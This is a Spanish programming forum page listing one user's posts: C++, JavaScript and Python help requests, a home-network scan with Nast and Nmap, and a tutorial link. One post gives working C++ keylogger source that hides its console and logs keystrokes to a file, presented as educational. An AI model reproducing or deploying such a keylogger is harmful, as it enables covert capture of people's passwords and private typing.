Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - M3LiNdR1

#1
Buenas tardes,


Llevó todo el dia peleandome con una clase, para implementar arboles binarios, el codigo es el siguiente:

//Archivo Tree.cpp
Código (cpp) [Seleccionar]
struct Node {
int info;
Node *fesq;
Node *fdre;
};

class Tree {

private:

Node *root;

public:

Tree(int);
void insertar(int);
void plantar(int, Node &, Node&);
};


//Codigo Tree.cpp
Código (cpp) [Seleccionar]

Tree::Tree(int value) {
root->info = value;
root->fesq = NULL;
root->fdre = NULL;
}

void Tree::plantar(int value, Node & f1, Node & f2) {
root->info = value;
root->fesq = f1;
root->fdre = f2;
}

void Tree::insertar(int value) {
    if (root ==NULL) {
         root->info = value;
         root->fesq = NULL;
         root->fdre = NULL;
     }
    else if(x < root->info) root->fesq.insertar(x);
    else if(x > root->info) root->fdre.insertar(x);
}


Primer problema, visual studio me dice que root no se puede comparar con NULL, entonces como puedo saber si un hijo esta vacio???

Segundo problema, nose com implementar la función de insertar. Se que esta mal porque estoy llamando desde un nodo, un metodo que no existe y que tiene arbol.

Nose, tengo ya los nervios a flor de piel y lo siguiente que haré sera amenazar mi portatil con una tostadora xD
#2
Hacking / Identificando hosts en mi red
28 Marzo 2013, 16:16 PM
Muy Buenas!  ;D

Tengo una duda que no me deja dormir y os la planteo aquí para poder resolverla. El caso es que el otro dia me dedique a escuchar las connexions en la red local de mi casa. Usando Nast v0.2.0, escanee mi red en busca de los nodos activos, y esta fue la respuesta del programa:

Citar
root@debian:/home/user# nast -i wlan0 -m

Nast V. 0.2.0

Mapping the Lan for 255.255.255.0 subnet ... please wait

MAC address      Ip address (hostname)
===========================================================
00:00:00:00:00:00   192.168.1.136 (debian.local) (*)
00:00:00:00:00:00    192.168.1.1 (192.168.1.1)
00:00:00:00:00:00    192.168.1.138 (xxxx-PC.local)

(*) This is localhost

Me extraño mucho esta respuesta puesto que realmente tenia 6 nodos activos, así que decidí escanear la red otra vez pero esta usando Nmap v5.00.

Citar
root@debian:/home/user# nmap -sP 192.168.1.1/24

Starting Nmap 5.00 ( http://nmap.org ) at 2013-03-27 15:44 CET
Host 192.168.1.1 is up (0.011s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.128 is up (0.026s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.130 is up (0.098s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.134 is up (0.016s latency).
MAC Address: 00:00:00:00:00:00 (Wistron Neweb)
Host 192.168.1.136 is up.
Host 192.168.1.138 is up (0.0026s latency).
MAC Address: 00:00:00:00:00:00 (Asustek Computer)
Nmap done: 256 IP addresses (6 hosts up) scanned in 3.51 seconds

Nast busca nodos activos en la red haciendo peticiones ARP a todo el rango de IP de la red. No entiendo como no obtiene respuesta de todos los nodos. También me fije que si haces el escaneo en nmap sin privilegios, solo escanea los hosts enviando un segmento TCP con el flag SYN levantado a los puertos 80 and 443, que de esta forma es normal que no contesten.

Bueno despues de tanto rollo xD, mi duda es la siguiente. Esto de que no detecte bien los nodos activos es problema del programa (Nast) no? No puede ser que haya algo en el nodo remoto que bloquee la conexión porque sino ese nodo no podria comunicarse.

Muchas gracias de antebrazo!
#3
Hola, muy buenas!  :P


Despues de estar machacando mucho y resolver varios problemas, cuelgo el siguiente script por si alguien le interesa. Es útil para manejar la selección de las filas de una tabla con el ratón o con el teclado. Por cierto, se aceptan críticas y manera de mejorarlo :D

Aquí va el código:

Código (javascript) [Seleccionar]

/*Selecciona la fila y se cambia el estilo cuando le das click con el ratón*/
function myFunction(x)
{
if (document.getElementsByClassName("trselected").length > 0) {
var element = document.getElementsByClassName("trselected");
if (parseInt(element[0].id)%2 != 0) element[0].className = "impar";
else element[0].className = "";
}
x.className="trselected";
}

/*Ejecuta una acción diferente según la tecla del teclado que presiones.
el 40 es la flecha abajo, el 38 la flecha arriba y el 13 el enter. Mueve el estilo
de la fila, arriba o abajo, según el botón pulsado. Con el botón enter se muestra
la información de la fila seleccionada*/
function myFunction2(evnt)
{
var ev = (evnt) ? evnt : event;
  var code=(ev.which) ? ev.which : event.keyCode;
  if (code == 40) {
if (document.getElementsByClassName("trselected").length > 0) {
var element = document.getElementsByClassName("trselected");
var num = (parseInt(element[0].id) + 1).toString();
myFunction(document.getElementById(num));
}
else myFunction(document.getElementById(1))
  }
  else if (code == 38) {
if (document.getElementsByClassName("trselected").length > 0) {
var element = document.getElementsByClassName("trselected");
var num = (parseInt(element[0].id) - 1).toString();
myFunction(document.getElementById(num))
}
else myFunction(document.getElementById(document.getElementById("tbody").rows.length.toString()))
   }
   else if (code == 13 ) {
       if (document.getElementsByClassName("trselected").length > 0) {
   var element = document.getElementsByClassName("trselected");
   var info = element[0].cells[0].innerText;
   info += " "+element[0].cells[1].innerText;
   info += " "+element[0].cells[2].innerText;
   info += " "+element[0].cells[3].innerText;
   info += " "+element[0].cells[4].innerText;
   alert(info);
}

}
}
//Escucha y reacciona el evento cuando se pulsa una tecla
if (window.document.addEventListener) {
  window.document.addEventListener("keydown", myFunction2, false);
} else {
  window.document.attachEvent("onkeydown", myFunction2);
}


Codigo CSS y HTML de ejemplo:

Código (html4strict) [Seleccionar]

<table>
<thead>
<tr class="thead">
<th>Product</th>
<th></th>
<th>Price</th>
<th>Cost</th>
<th></th>
</tr>
</thead>
<tbody id ="tbody">
<!--Les ids han de començar per 1-->
<tr id = "1" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "2" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "3" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "4" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "5" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "6" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "7" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "8"  onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr><tr id = "9" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr><tr id = "10" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr><tr id = "11" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "12" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr id = "13" class="impar" onclick="myFunction(this)" >
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
</tbody>
</table>



Espero que os sea útil!


Un saludo :D
#4
Hola, muy buenas! :)

Tengo una tabla en HTML, y quiero que cada vez que se haga click en una fila, esta quede resaltada de un color diferente y si se hace click en otra fila, la anterior vuelva a su color inicial y la nueva que resaltada.

Para hacer esto, he pensado usar los eventos onfocus y onblur. Segun W3C puedo usar este evento en el tag <tr>. http://www.w3schools.com/jsref/event_onfocus.asp

Y tengo el siguiente codigo:

Código (html4strict) [Seleccionar]
<!DOCTYPE html>
<html>
<head>
<script>
function myFunction(x)
{
x.style.background="yellow";
}
function myFunction2(x)
{
x.style.background="white";
}
</script>
</head>
<body>
<table>
<tbody>
<tr>
<th>Product</th>
<th></th>
<th>Price</th>
<th>Cost</th>
<th></th>
</tr>
<tr onfocus="myFunction(this)" onblur="myFunction2(this)">
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr  onfocus="myFunction(this)" onblur="myFunction2(this)">
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
<tr  onfocus="myFunction(this)" onblur="myFunction2(this)">
<td>ProductName01</td>
<td>1x</td>
<td>35.20€</td>
<td>35.20€</td>
<td>x</td>
</tr>
</tbody>
</table>
</body>
</html>


Ahora mi pregunta es, que problema hay? porque no se ejecutan los scripts?

Muchas gracias! :)
#5
Scripting / [Python] Redimensionar un array
15 Octubre 2011, 13:28 PM
Hola,

Tengo un problema en un programa en python. Estoy realizando la classe CArray y el constructor es el siguiente:

def __init__(self, length, baseIndex):
""" (Array, int) -> None
     Constructs an array of the given length. """

Los atributos de la classe son:
   
Código (python) [Seleccionar]
__slots__ = ['__data','__baseIndex']

Donde __data es una lista y __baseIndex es el valor del indice correspondiente al primer elemento.

Mi pregunta es la siguiente, si al constructor me pasan como parametro length(longitud), como puedo dimensionar __data para que tenga longitud length?


Muchas gracias!
#6
Programación C/C++ / Keylogger en C++
29 Mayo 2010, 14:07 PM
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
using namespace std;


char keys() {
char c = '/';
if (GetAsyncKeyState('A')) c = 'A';
else if (GetAsyncKeyState('B')) c = 'B';
else if (GetAsyncKeyState('C')) c = 'C';
else if (GetAsyncKeyState('D')) c = 'D';
else if (GetAsyncKeyState('E')) c = 'E';
else if (GetAsyncKeyState('F')) c = 'F';
else if (GetAsyncKeyState('G')) c = 'G';
else if (GetAsyncKeyState('H')) c = 'H';
else if (GetAsyncKeyState('I')) c = 'I';
else if (GetAsyncKeyState('J')) c = 'J';
else if (GetAsyncKeyState('K')) c = 'K';
else if (GetAsyncKeyState('L')) c = 'L';
else if (GetAsyncKeyState('M')) c = 'M';
else if (GetAsyncKeyState('N')) c = 'N';
else if (GetAsyncKeyState('O')) c = 'O';
else if (GetAsyncKeyState('P')) c = 'P';
else if (GetAsyncKeyState('Q')) c = 'Q';
else if (GetAsyncKeyState('R')) c = 'R';
else if (GetAsyncKeyState('S')) c = 'S';
else if (GetAsyncKeyState('T')) c = 'T';
else if (GetAsyncKeyState('U')) c = 'U';
else if (GetAsyncKeyState('V')) c = 'V';
else if (GetAsyncKeyState('W')) c = 'W';
else if (GetAsyncKeyState('X')) c = 'X';
else if (GetAsyncKeyState('Y')) c = 'Y';
else if (GetAsyncKeyState('Z')) c = 'Z';
else if (GetAsyncKeyState('1')) c = '1';
else if (GetAsyncKeyState('2')) c = '2';
else if (GetAsyncKeyState('3')) c = '3';
else if (GetAsyncKeyState('4')) c = '4';
else if (GetAsyncKeyState('5')) c = '5';
else if (GetAsyncKeyState('6')) c = '6';
else if (GetAsyncKeyState('7')) c = '7';
else if (GetAsyncKeyState('8')) c = '8';
else if (GetAsyncKeyState('9')) c = '9';
else if (GetAsyncKeyState('0')) c = '0';
else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
return c;
}

int main() {
FreeConsole(); //Esconde el terminal
FILE *f;
f = fopen("file.txt","w"); //Crea i abre un archivo
char c = ' ';
while(c != 0x1B) {
c = keys();
if (c != '/') {
fprintf( f , "%c",c); //Escribe el caracter en el archivo
//cout << c;
}
Sleep(120); //Interrumpe el programa durante 120 milisegundos
}
fclose(f);
AllocConsole(); //Muestra el terminal
cout << "FIN DE PROGRAMA :)" << endl;
}


Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
#7
Hola,

Este es el primero de una serie de tutoriales de informatica y hacking. Este precisamente es muy basico, explica el concepto de shell y los comandos mas usuales, espero que la gente principiante le ayude.

Pongan sus comentarios, haber que les ha parecido.

A, el link de descarga:

http://www.mediafire.com/?iizrnnoriez


El proximo que haré se titulara: "Obtencion de shell remota a traves de ssh"


Muchas gracias ;)



EDITO: :S, esto iria a hacking basico no? como meto la pata :(